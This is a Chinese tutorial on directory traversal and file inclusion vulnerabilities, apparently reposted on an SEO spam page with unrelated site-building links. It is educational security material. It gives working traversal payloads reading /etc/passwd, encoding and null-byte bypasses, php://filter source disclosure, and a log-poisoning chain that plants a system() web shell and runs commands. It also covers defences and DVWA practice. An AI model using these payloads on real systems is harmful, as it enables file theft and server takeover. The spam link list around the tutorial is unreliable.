当前位置: 首页 > wzjs >正文

北京手机网站制作多少钱小程序开发流程

北京手机网站制作多少钱,小程序开发流程,移动互联网开发项目实战项目,大亚湾做网站公司文章目录 前言一 目录穿越漏洞1.1 什么是目录穿越?1.2 目录穿越的原理1.3 目录穿越的常见形式1.3.1 基本形式1.3.2 编码绕过1.3.3 绝对路径攻击 1.4 实战案例解析1.4.1 案例1:简单的目录穿越1.4.2 案例2:编码绕过 1.5 目录穿越的危害 二、文件…

文章目录

  • 前言
  • 一 目录穿越漏洞
    • 1.1 什么是目录穿越?
    • 1.2 目录穿越的原理
    • 1.3 目录穿越的常见形式
      • 1.3.1 基本形式
      • 1.3.2 编码绕过
      • 1.3.3 绝对路径攻击
    • 1.4 实战案例解析
      • 1.4.1 案例1:简单的目录穿越
      • 1.4.2 案例2:编码绕过
    • 1.5 目录穿越的危害
  • 二、文件包含漏洞详解
    • 2.1 什么是文件包含?
    • 2.2 文件包含的原理
    • 2.3 文件包含的利用技巧
      • 2.3.1 LFI进阶利用
      • 2.3.2 RFI利用条件
    • 2.4 实战案例解析
      • 2.4.1 案例1:基本的LFI
      • 2.4.2 案例2:日志文件包含
      • 2.4.3 案例3:PHP伪协议利用
    • 2.5 文件包含的危害
  • 三、漏洞防御方案
    • 3.1 目录穿越防御措施
    • 3.2 文件包含防御措施
  • 四、实战演练环境搭建
    • 4.1 DVWA环境配置
    • 4.2 目录穿越练习
  • 五、漏洞挖掘与审计
    • 5.1 如何发现目录穿越漏洞
    • 5.2 如何发现文件包含漏洞
    • 5.3 代码审计要点

前言

  • 在Web安全领域,目录穿越(Directory Traversal)和文件包含(File Inclusion)是两种常见且危险的漏洞类型。本文将系统性地介绍这两种漏洞的原理、危害、利用方式及防御措施。

一 目录穿越漏洞

1.1 什么是目录穿越?

  • 目录穿越(Directory Traversal),又称路径遍历(Path Traversal),是一种允许攻击者访问Web服务器文件系统中本不应公开的文件的漏洞。攻击者通过操纵文件路径参数,使用"…/"等特殊符号跳出预期的目录限制。

  • 类比理解:想象你在一栋大楼里,每个房间都有严格的门禁。目录穿越就像找到了大楼设计上的漏洞,通过特定的路径组合,可以进入任何房间,甚至是管理员办公室。

1.2 目录穿越的原理

  • Web应用程序通常会使用动态文件路径来访问服务器上的资源。例如:
http://example.com/loadFile?filename=report.pdf
  • 如果应用程序没有正确验证filename参数,攻击者可以构造恶意路径:
http://example.com/loadFile?filename=../../etc/passwd

1.3 目录穿越的常见形式

1.3.1 基本形式

  • Unix/Linux系统:使用../返回上级目录
  • Windows系统:使用..\../返回上级目录

1.3.2 编码绕过

  • URL编码:%2e%2e%2f = ../
  • 双重编码:%252e%252e%252f = ../
  • Unicode编码:..%c0%af = ../ (某些系统)

1.3.3 绝对路径攻击

  • 直接指定绝对路径:
filename=/etc/passwd

1.4 实战案例解析

1.4.1 案例1:简单的目录穿越

  • 假设有一个图片查看服务:
http://example.com/viewImage?file=userUploads/avatar123.jpg
  • 攻击者尝试:
http://example.com/viewImage?file=../../../../etc/passwd
  • 如果服务未做防护,可能返回系统的passwd文件内容。

1.4.2 案例2:编码绕过

  • 某网站过滤了../但未考虑编码:
  • 正常请求:
http://example.com/download?file=document.pdf
  • 攻击请求:
http://example.com/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

1.5 目录穿越的危害

  1. 敏感信息泄露:读取密码文件、配置文件等
  2. 系统文件篡改:修改关键系统文件
  3. 源代码泄露:获取应用程序源代码
  4. 辅助其他攻击:为后续攻击提供信息

二、文件包含漏洞详解

2.1 什么是文件包含?

  • 文件包含(File Inclusion)漏洞发生在应用程序动态包含文件时,未正确验证用户控制的文件路径参数,导致可以包含恶意文件。

文件包含分为两种:

  • 本地文件包含(LFI, Local File Inclusion):包含服务器本地的文件
  • 远程文件包含(RFI, Remote File Inclusion):包含远程服务器上的文件

2.2 文件包含的原理

  • 许多编程语言支持动态文件包含功能,例如PHP的include()require()函数。当用户输入直接作为包含参数时,就可能产生漏洞。PHP示例:
<?php
$page = $_GET['page'];
include($page . '.php');
?>
  • 正常访问:
http://example.com/index.php?page=home
  • 恶意访问:
http://example.com/index.php?page=/etc/passwd%00

(使用null字节%00截断.php后缀)

2.3 文件包含的利用技巧

2.3.1 LFI进阶利用

  1. 日志文件注入:通过包含access.log或error.log,结合UA或Referer注入PHP代码
  2. PHP伪协议
    • php://filter:读取文件源码
    • php://input:执行POST数据中的代码
  3. Session文件包含:通过包含session文件执行代码

2.3.2 RFI利用条件

  1. allow_url_fopenallow_url_include设置为On
  2. 目标文件后缀会被解析为PHP(如.jpg的PHP后门)

2.4 实战案例解析

2.4.1 案例1:基本的LFI

  • 某PHP网站:
http://example.com/index.php?module=contact
  • 后端代码:
include($_GET['module'] . '.php');

攻击:

http://example.com/index.php?module=../../../../etc/passwd%00

2.4.2 案例2:日志文件包含

  1. 确定服务器使用Apache,日志位于/var/log/apache2/access.log
  2. 在User-Agent中插入PHP代码:
    User-Agent: <?php system($_GET['cmd']); ?>
    
  3. 包含日志文件:
    http://example.com/index.php?page=/var/log/apache2/access.log
    
  4. 执行命令:
    http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
    

2.4.3 案例3:PHP伪协议利用

  • 读取PHP文件源码:
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index
  • 返回base64编码的源码,解码后可得原始代码。

2.5 文件包含的危害

  1. 任意代码执行:最严重的后果
  2. 敏感信息泄露:同目录穿越
  3. 网站篡改:植入后门或恶意内容
  4. 服务器沦陷:作为跳板攻击内网

三、漏洞防御方案

在这里插入图片描述

3.1 目录穿越防御措施

  1. 输入验证

    • 白名单验证:只允许预期的文件名
    • 黑名单过滤:过滤../..\
    • 正则表达式:/^[a-zA-Z0-9]+\.pdf$/
  2. 路径规范化

    • 解析路径中的...
    • 使用语言内置函数如PHP的realpath()
  3. 文件系统限制

    • 使用chroot jail
    • 设置适当的文件权限
  4. 示例代码(PHP)

$base_dir = '/var/www/uploads/';
$user_file = $_GET['file'];
$real_path = realpath($base_dir . $user_file);if (strpos($real_path, $base_dir) !== 0) {die('非法路径访问!');
}

3.2 文件包含防御措施

  1. 避免动态包含

    • 使用静态包含
    • 使用switch-case结构替代
  2. 白名单验证

$allowed = ['home', 'contact', 'about'];
$page = $_GET['page'];if (!in_array($page, $allowed)) {die('非法页面请求!');
}
include($page . '.php');
  1. 设置PHP配置

    • allow_url_include = Off
    • allow_url_fopen = Off
  2. 文件路径限制

    • 设置包含目录
    • 禁止包含用户上传目录
  3. 使用安全函数

    • basename():只返回文件名部分
    • realpath() + 前缀检查

四、实战演练环境搭建

4.1 DVWA环境配置

  1. 下载Damn Vulnerable Web Application(DVWA)
  2. 配置PHP环境(建议5.4+)
  3. 设置DVWA安全级别为"low"进行练习

4.2 目录穿越练习

  1. 在DVWA中选择"File Inclusion"
  2. 尝试读取服务器上的/var/www/html/vulnerabilities/fi/help/help.php文件
  3. 尝试使用不同编码方式绕过

五、漏洞挖掘与审计

5.1 如何发现目录穿越漏洞

  1. 参数分析
    • 查找文件路径参数(file, path, page等)
    • 测试参数是否接受路径遍历序列
  2. 测试方法
    • 基础测试:尝试../../etc/passwd
    • 编码测试:尝试URL编码、双重编码
    • 边界测试:尝试不同数量的../

5.2 如何发现文件包含漏洞

  1. 参数分析

    • 查找包含功能的参数(include, page, module等)
    • 测试参数是否可以包含远程文件
  2. 测试方法

    • 基础LFI测试
    • RFI测试(需配置允许)
    • 特殊协议测试(php://, data://等)

5.3 代码审计要点

  1. 危险函数识别

    • PHP:include, require, include_once, require_once, fopen
    • Java:FileInputStream, RandomAccessFile
    • .NET:File.Open, File.ReadAllText
  2. 输入追踪

    • 跟踪用户输入如何传递到文件操作函数
    • 检查是否有足够的验证和过滤
http://www.dtcms.com/wzjs/386899.html

相关文章:

  • 中国设计之家恩城seo的网站
  • 网站首页设计布局方式百度企业认证怎么认证
  • 做汽车配件的都在那个网站做呀百度号码认证平台官网首页
  • 深圳网站建设公司服务平台互联网营销师题库
  • 谁专门做网站安全维护爱站工具包下载
  • php网站虚拟机北京已感染上千万人
  • 好sf123网站aso优化工具
  • 小程序怎么找出来湖南专业关键词优化服务水平
  • 时时彩网站开发需要多少钱刚出来的新产品怎么推
  • 网站做优化需要哪些后台信息制作一个网站的全过程
  • 做折线图网站自制网站教程
  • 三门峡专业做网站公司太原搜索排名提升
  • 上海做网站建设的公司seo怎么快速提高排名
  • 网站401错误如何做好推广工作
  • 苏州市城乡建设档案馆网站企业邮箱登录
  • 支付网站建设要求百度关键词搜索
  • 周村网站制作哪家好潍坊网站排名提升
  • 营销型网站建设思路广州seo网站推广平台
  • 高密做网站的价位小广告模板
  • 做外贸网站诈骗软件培训机构排行榜
  • 武汉市城乡建设委员会的网站百度搜索推广流程
  • 大型电子商务网站建设成本南宁百度seo排名优化软件
  • 我做网站微信怎么做推广
  • 有哪些专门做校企合作的网站网络营销乐云seo
  • 南阳seo网站推广费用深圳优化公司
  • 内蒙中国建设银行招聘网站济南最新消息今天
  • 前端开发培训课程淄博seo推广
  • 如何选择武汉网站建设新闻头条最新消息今天
  • 中国建设银行官网个人网上银行八宿县网站seo优化排名
  • 户外商品网站制作网站网络推广企业